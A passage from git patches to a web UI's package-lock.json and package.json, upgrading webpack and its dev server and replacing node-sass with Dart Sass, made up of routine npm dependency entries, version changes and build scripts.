"sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "dev": true + }, + "mime-db": { + "version": "1.49.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.49.0.tgz", + "integrity": "sha512-CIc8j9URtOVApSFCQIF+VBkX1RwXp/oMMOrqdyXSBXq5RWNEsRfyj1kiRnQgmNXmHxPoFIxOroKA3zcU9P+nAA==", + "dev": true + }, + "mime-types": { + "version": "2.1.32", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.32.tgz", + "integrity": "sha512-hJGaVS4G4c9TSMYh2n6SQAGrC4RnfU+daP8G7cSCmaqNjiOoUY0VHCMS42pxnQmVF1GWwFhbHWn3RIxCqTmZ9A==", + "dev": true, + "requires": { + "mime-db": "1.49.0" + } + }, + "schema-utils": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", + "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", + "dev": true, + "requires": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + } + } } }, "webpack-dev-server": { - "version": "3.11.0", - "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-3.11.0.tgz", - "integrity": "sha512-PUxZ+oSTxogFQgkTtFndEtJIPNmml7ExwufBZ9L2/Xyyd5PnOL5UreWe5ZT7IU25DSdykL9p1MLQzmLh2ljSeg==", + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-4.2.1.tgz", + "integrity": "sha512-SQrIyQDZsTaF84p/WMAXNRKxjTeIaewhDIiHYZ423ENhNAsQWyubvqPTn0IoLMGkbhWyWv8/GYnCjItt0ZNC5w==", "dev": true, "requires": { - "ansi-html": "0.0.7", + "ansi-html-community": "^0.0.8", "bonjour": "^3.5.0", - "chokidar": "^2.1.8", + "chokidar": "^3.5.1", + "colorette": "^1.2.2", "compression": "^1.7.4", "connect-history-api-fallback": "^1.6.0", - "debug": "^4.1.1", - "del": "^4.1.1", + "del": "^6.0.0", "express": "^4.17.1", - "html-entities": "^1.3.1", - "http-proxy-middleware": "0.19.1", - "import-local": "^2.0.0", - "internal-ip": "^4.3.0", - "ip": "^1.1.5", - "is-absolute-url": "^3.0.3", - "killable": "^1.0.1", - "loglevel": "^1.6.8", - "opn": "^5.5.0", - "p-retry": "^3.0.1", - "portfinder": "^1.0.26", - "schema-utils": "^1.0.0", - "selfsigned": "^1.10.7", - "semver": "^6.3.0", + "graceful-fs": "^4.2.6", + "html-entities": "^2.3.2", + "http-proxy-middleware": "^2.0.0", + "internal-ip": "^6.2.0", + "ipaddr.js": "^2.0.1", + "open": "^8.0.9", + "p-retry": "^4.5.0", + "portfinder": "^1.0.28", + "schema-utils": "^3.1.0", + "selfsigned": "^1.10.11", "serve-index": "^1.9.1", - "sockjs": "0.3.20", - "sockjs-client": "1.4.0", + "sockjs": "^0.3.21", "spdy": "^4.0.2", - "strip-ansi": "^3.0.1", - "supports-color": "^6.1.0", + "strip-ansi": "^7.0.0", "url": "^0.11.0", - "webpack-dev-middleware": "^3.7.2", - "webpack-log": "^2.0.0", - "ws": "^6.2.1", - "yargs": "^13.3.2" + "webpack-dev-middleware": "^5.1.0", + "ws": "^8.1.0" }, "dependencies": { - "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "@types/json-schema": { + "version": "7.0.9", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.9.tgz", + "integrity": "sha512-qcUXuemtEu+E5wZSJHNxUXeCZhAfXKQ41D+duX+VYPde7xyEVZci+/oXKJL13tnRs9lR2pr4fod59GT6/X1/yQ==", + "dev": true + }, + "ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", "dev": true, "requires": { - "ms": "^2.1.1" + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" } }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "dev": true + }, + "ansi-regex": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz", + "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==", + "dev": true + }, + "graceful-fs": { + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.8.tgz", + "integrity": "sha512-qkIilPUYcNhJpd33n0GBXTB1MMPp14TxEsEs0pTrsSVucApsYzW5V+Q8Qxhik6KU3evy+qkAAowTByymK0avdg==", "dev": true }, "schema-utils": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", - "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", + "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", "dev": true, "requires": { - "ajv": "^6.1.0", - "ajv-errors": "^1.0.0", - "ajv-keywords": "^3.1.0" + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" } }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true - }, - "supports-color": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.1.0.tgz", - "integrity": "sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==", + "strip-ansi": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.0.1.tgz", + "integrity": "sha512-cXNxvT8dFNRVfhVME3JAe98mkXDYN2O1l7jmcwMnOslDeESg1rF/OZMtK0nRAhiari1unG5cD4jG3rapUAkLbw==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "ansi-regex": "^6.0.1" } } } }, - "webpack-log": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/webpack-log/-/webpack-log-2.0.0.tgz", - "integrity": "sha512-cX8G2vR/85UYG59FgkoMamwHUIkSSlV3bBMRsbxVXVUk2j6NleCKjQ/WE9eYg9WY4w25O9w8wKP4rzNZFmUcUg==", + "webpack-merge": { + "version": "5.8.0", + "resolved": "https://registry.npmjs.org/webpack-merge/-/webpack-merge-5.8.0.tgz", + "integrity": "sha512-/SaI7xY0831XwP6kzuwhKWVKDP9t1QY1h65lAFLbZqMPIuYcD9QAW4u9STIbU9kaJbPBB/geU/gLr1wDjOhQ+Q==", "dev": true, "requires": { - "ansi-colors": "^3.0.0", - "uuid": "^3.3.2" + "clone-deep": "^4.0.1", + "wildcard": "^2.0.0" } }, "webpack-sources": { - "version": "1.4.3", - "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.4.3.tgz", - "integrity": "sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==", - "dev": true, - "requires": { - "source-list-map": "^2.0.0", - "source-map": "~0.6.1" - }, - "dependencies": { - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - } - } + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.2.1.tgz", + "integrity": "sha512-t6BMVLQ0AkjBOoRTZgqrWm7xbXMBzD+XDq2EZ96+vMfn3qKgsvdXZhbPZ4ElUOpdv4u+iiGe+w3+J75iy/bYGA==", + "dev": true }, "websocket-driver": { - "version": "0.6.5", - "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.6.5.tgz", - "integrity": "sha1-XLJVbOuF9Dc8bYI4qmkchFThOjY=", + "version": "0.7.4", + "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz", + "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==", "dev": true, "requires": { + "http-parser-js": ">=0.5.1", + "safe-buffer": ">=5.1.0", "websocket-extensions": ">=0.1.1" } }, @@ -17090,21 +16632,18 @@ "string-width": "^1.0.2 || 2" } }, + "wildcard": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/wildcard/-/wildcard-2.0.0.tgz", + "integrity": "sha512-JcKqAHLPxcdb9KM49dufGXn2x3ssnfjbcaQdLlfZsL9rH9wgDQjUtDxbo8NE0F6SFvydeu1VhZe7hZuHsB2/pw==", + "dev": true + }, "word-wrap": { "version": "1.2.3", "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz", "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==", "dev": true }, - "worker-farm": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/worker-farm/-/worker-farm-1.7.0.tgz", - "integrity": "sha512-rvw3QTZc8lAxyVrqcSGVm5yP/IJ2UcB3U0graE3LCFoZ0Yn2x4EoVSqJKdB/T5M+FLcRPjz4TDacRf3OCfNUzw==", - "dev": true, - "requires": { - "errno": "~0.1.7" - } - }, "wrap-ansi": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz", @@ -17178,13 +16717,10 @@ } }, "ws": { - "version": "6.2.2", - "resolved": "https://registry.npmjs.org/ws/-/ws-6.2.2.tgz", - "integrity": "sha512-zmhltoSR8u1cnDsD43TX59mzoMZsLKqUweyYBAIvTngR3shc0W6aOZylZmq/7hqyVxPdi+5Ud2QInblgyE72fw==", - "dev": true, - "requires": { - "async-limiter": "~1.0.0" - } + "version": "8.2.2", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.2.2.tgz", + "integrity": "sha512-Q6B6H2oc8QY3llc3cB8kVmQ6pnJWVQbP7Q5algTcIxx7YEpc0oU4NBVHlztA7Ekzfhw2r0rPducMUiCGWKQRzw==", + "dev": true }, "xtend": { "version": "4.0.2", @@ -17288,6 +16824,12 @@ } } }, + "yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true + }, "zwitch": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-1.0.5.tgz", diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 69a2164f2..dec16dba0 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -15,7 +15,7 @@ "release:patch": "npm version patch && npm publish && git push --follow-tags", "serve": "node server.js --env=dev", "serve:dist": "node server.js --env=dist", - "start": "webpack-dev-server --verbose --mode development --open --history-api-fallback --port 8000", + "start": "webpack-dev-server --mode development --open --history-api-fallback --port 8000", "snyk-protect": "snyk protect", "prepare": "npm run snyk-protect" }, @@ -48,7 +48,7 @@ "file-loader": "^1.1.11", "glob": "^7.1.6", "html-loader": "^0.5.5", - "html-webpack-plugin": "^3.2.0", + "html-webpack-plugin": "^5.3.2", "minimist": "^1.2.5", "node-sass": "^4.14.1", "npm": "^7.24.0", @@ -62,9 +62,9 @@ "ts-loader": "^8.0.11", "typescript": "^4.1.2", "url-loader": "^1.1.2", - "webpack": "^4.44.2", - "webpack-cli": "^3.3.12", - "webpack-dev-server": "^3.11.0" + "webpack": "^5.53.0", + "webpack-cli": "^4.8.0", + "webpack-dev-server": "^4.2.1" }, "dependencies": { "@emotion/core": "^10.1.1", From aac1b00553366f3713e53247a4379b877d3aceaf Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 17 Sep 2021 14:55:21 +0200 Subject: [PATCH 174/454] UI: Replace node-sass with sass (Dart Sass) Note: There are some annoying deprecation warnings which come from bootstrap. Those can be dealt with if we upgrade bootstrap. --- monkey/monkey_island/cc/ui/package-lock.json | 1130 +----------------- monkey/monkey_island/cc/ui/package.json | 2 +- 2 files changed, 6 insertions(+), 1126 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index ebdac2720..6d994e0a5 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -3362,12 +3362,6 @@ "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.5.tgz", "integrity": "sha512-9IK9EadsbHo6jLWIpxpR6pL0sazTXV6+SQv25ZB+F7Bj9mJNaOc4nCRabwd5M/JwmUa8idz6Eci6eKfJryPs6Q==" }, - "abbrev": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", - "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==", - "dev": true - }, "accepts": { "version": "1.3.7", "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.7.tgz", @@ -3437,12 +3431,6 @@ "integrity": "sha512-RO1ibKvd27e6FEShVFfPALuHI3WjSVNeK5FIsmme/LYRNxjKuNj+Dt7bucLa6NdSv3JcVTyMlm9kGR84z1XpaQ==", "dev": true }, - "amdefine": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/amdefine/-/amdefine-1.0.1.tgz", - "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=", - "dev": true - }, "ansi-escapes": { "version": "4.3.1", "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.1.tgz", @@ -3503,22 +3491,6 @@ } } }, - "aproba": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/aproba/-/aproba-1.2.0.tgz", - "integrity": "sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw==", - "dev": true - }, - "are-we-there-yet": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.5.tgz", - "integrity": "sha512-5hYdAkZlcG8tOLujVDTgCT+uPX0VnpAH28gWsLfzpXYm7wP6mp5Q/gYyR7YQ0cKVJcXJnl3j2kpBan13PtQf6w==", - "dev": true, - "requires": { - "delegates": "^1.0.0", - "readable-stream": "^2.0.6" - } - }, "argparse": { "version": "1.0.10", "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", @@ -3549,12 +3521,6 @@ "dev": true, "optional": true }, - "array-find-index": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/array-find-index/-/array-find-index-1.0.2.tgz", - "integrity": "sha1-3wEKoSh+Fku9pvlyOwqWoexBh6E=", - "dev": true - }, "array-flatten": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-2.1.2.tgz", @@ -3782,21 +3748,6 @@ "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", "integrity": "sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY=" }, - "asn1": { - "version": "0.2.4", - "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz", - "integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==", - "dev": true, - "requires": { - "safer-buffer": "~2.1.0" - } - }, - "assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true - }, "assign-symbols": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz", @@ -3832,18 +3783,6 @@ "dev": true, "optional": true }, - "async-foreach": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/async-foreach/-/async-foreach-0.1.3.tgz", - "integrity": "sha1-NhIfhFwFeBct5Bmpfb6x0W7DRUI=", - "dev": true - }, - "asynckit": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=", - "dev": true - }, "atob": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.2.tgz", @@ -3866,18 +3805,6 @@ "postcss-value-parser": "^4.1.0" } }, - "aws-sign2": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz", - "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=", - "dev": true - }, - "aws4": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.9.1.tgz", - "integrity": "sha512-wMHVg2EOHaMRxbzgFJ9gtjOOCrI80OHLG14rxi28XwOW8ux6IiEbRCGGGqCtdAIg4FQCbW20k9RsT4y3gJlFug==", - "dev": true - }, "babel-eslint": { "version": "10.1.0", "resolved": "https://registry.npmjs.org/babel-eslint/-/babel-eslint-10.1.0.tgz", @@ -4109,15 +4036,6 @@ "integrity": "sha1-3DQxT05nkxgJP8dgJyUl+UvyXBY=", "dev": true }, - "bcrypt-pbkdf": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", - "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", - "dev": true, - "requires": { - "tweetnacl": "^0.14.3" - } - }, "big.js": { "version": "5.2.2", "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", @@ -4138,15 +4056,6 @@ "psl": "^1.1.7" } }, - "block-stream": { - "version": "0.0.9", - "resolved": "https://registry.npmjs.org/block-stream/-/block-stream-0.0.9.tgz", - "integrity": "sha1-E+v+d4oDIFz+A3UUgeu0szAMEmo=", - "dev": true, - "requires": { - "inherits": "~2.0.0" - } - }, "body-parser": { "version": "1.19.0", "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz", @@ -4345,34 +4254,12 @@ "upper-case": "^1.1.1" } }, - "camelcase": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-2.1.1.tgz", - "integrity": "sha1-fB0W1nmhu+WcoCys7PsBHiAfWh8=", - "dev": true - }, - "camelcase-keys": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-2.1.0.tgz", - "integrity": "sha1-MIvur/3ygRkFHvodkyITyRuPkuc=", - "dev": true, - "requires": { - "camelcase": "^2.0.0", - "map-obj": "^1.0.0" - } - }, "caniuse-lite": { "version": "1.0.30001208", "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001208.tgz", "integrity": "sha512-OE5UE4+nBOro8Dyvv0lfx+SRtfVIOM9uhKqFmJeUbGriqhhStgp1A0OyBpgy3OUF8AhYCT+PVwPC1gMl2ZcQMA==", "dev": true }, - "caseless": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", - "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=", - "dev": true - }, "chalk": { "version": "2.4.2", "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", @@ -4575,51 +4462,6 @@ "integrity": "sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw==", "dev": true }, - "cliui": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz", - "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==", - "dev": true, - "requires": { - "string-width": "^3.1.0", - "strip-ansi": "^5.2.0", - "wrap-ansi": "^5.1.0" - }, - "dependencies": { - "ansi-regex": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", - "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", - "dev": true - }, - "is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "dev": true - }, - "string-width": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", - "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", - "dev": true, - "requires": { - "emoji-regex": "^7.0.1", - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^5.1.0" - } - }, - "strip-ansi": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", - "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", - "dev": true, - "requires": { - "ansi-regex": "^4.1.0" - } - } - } - }, "clone-deep": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz", @@ -4640,12 +4482,6 @@ "is-regexp": "^2.0.0" } }, - "code-point-at": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz", - "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=", - "dev": true - }, "collection-visit": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/collection-visit/-/collection-visit-1.0.0.tgz", @@ -4676,15 +4512,6 @@ "integrity": "sha512-MKGMzyfeuutC/ZJ1cba9NqcNpfeqMUcYmyF1ZFY6/Cn7CNSAKx6a+s48sqLqyAiZuaP2TcqMhoo+dlwFnVxT9w==", "dev": true }, - "combined-stream": { - "version": "1.0.8", - "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", - "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", - "dev": true, - "requires": { - "delayed-stream": "~1.0.0" - } - }, "commander": { "version": "2.20.3", "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", @@ -4737,12 +4564,6 @@ "integrity": "sha512-e54B99q/OUoH64zYYRf3HBP5z24G38h5D3qXu23JGRoigpX5Ss4r9ZnDk3g0Z8uQC2x2lPaJ+UlWBc1ZWBWdLg==", "dev": true }, - "console-control-strings": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", - "integrity": "sha1-PXz0Rk22RG6mRL9LOVB/mFEAjo4=", - "dev": true - }, "content-disposition": { "version": "0.5.3", "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", @@ -4978,16 +4799,6 @@ "object-assign": "^4.1.1" } }, - "cross-spawn": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-3.0.1.tgz", - "integrity": "sha1-ElYDfsufDF9549bvE14wdwGEuYI=", - "dev": true, - "requires": { - "lru-cache": "^4.0.1", - "which": "^1.2.9" - } - }, "css-loader": { "version": "3.6.0", "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-3.6.0.tgz", @@ -5121,15 +4932,6 @@ "resolved": "https://registry.npmjs.org/csstype/-/csstype-2.6.10.tgz", "integrity": "sha512-D34BqZU4cIlMCY93rZHbrq9pjTAQJ3U8S8rfBqjwHxkGPThWFjzZDQpgMJY0QViLxth6ZKYiwFBo14RdN44U/w==" }, - "currently-unhandled": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/currently-unhandled/-/currently-unhandled-0.4.1.tgz", - "integrity": "sha1-mI3zP+qxke95mmE2nddsF635V+o=", - "dev": true, - "requires": { - "array-find-index": "^1.0.1" - } - }, "d3": { "version": "5.16.0", "resolved": "https://registry.npmjs.org/d3/-/d3-5.16.0.tgz", @@ -5394,15 +5196,6 @@ "d3-transition": "1" } }, - "dashdash": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", - "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=", - "dev": true, - "requires": { - "assert-plus": "^1.0.0" - } - }, "debug": { "version": "2.6.9", "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", @@ -5557,18 +5350,6 @@ } } }, - "delayed-stream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=", - "dev": true - }, - "delegates": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", - "integrity": "sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o=", - "dev": true - }, "depd": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", @@ -5751,16 +5532,6 @@ "resolved": "https://registry.npmjs.org/downloadjs/-/downloadjs-1.4.7.tgz", "integrity": "sha1-9p+W+UDg0FU9rCkROYZaPNAQHjw=" }, - "ecc-jsbn": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz", - "integrity": "sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=", - "dev": true, - "requires": { - "jsbn": "~0.1.0", - "safer-buffer": "^2.1.0" - } - }, "ee-first": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", @@ -6549,12 +6320,6 @@ } } }, - "extsprintf": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz", - "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=", - "dev": true - }, "fast-deep-equal": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.1.tgz", @@ -6864,16 +6629,6 @@ "resolved": "https://registry.npmjs.org/find-root/-/find-root-1.1.0.tgz", "integrity": "sha512-NKfW6bec6GfKc0SGx1e07QZY9PE99u0Bft/0rzSD5k3sO/vwkVUpDUKVm5Gpp5Ue3YfShPFTX2070tDs5kB9Ng==" }, - "find-up": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-1.1.2.tgz", - "integrity": "sha1-ay6YIrGizgpgq2TWEOzK1TyyTQ8=", - "dev": true, - "requires": { - "path-exists": "^2.0.0", - "pinkie-promise": "^2.0.0" - } - }, "flat-cache": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-2.0.1.tgz", @@ -6920,23 +6675,6 @@ "dev": true, "optional": true }, - 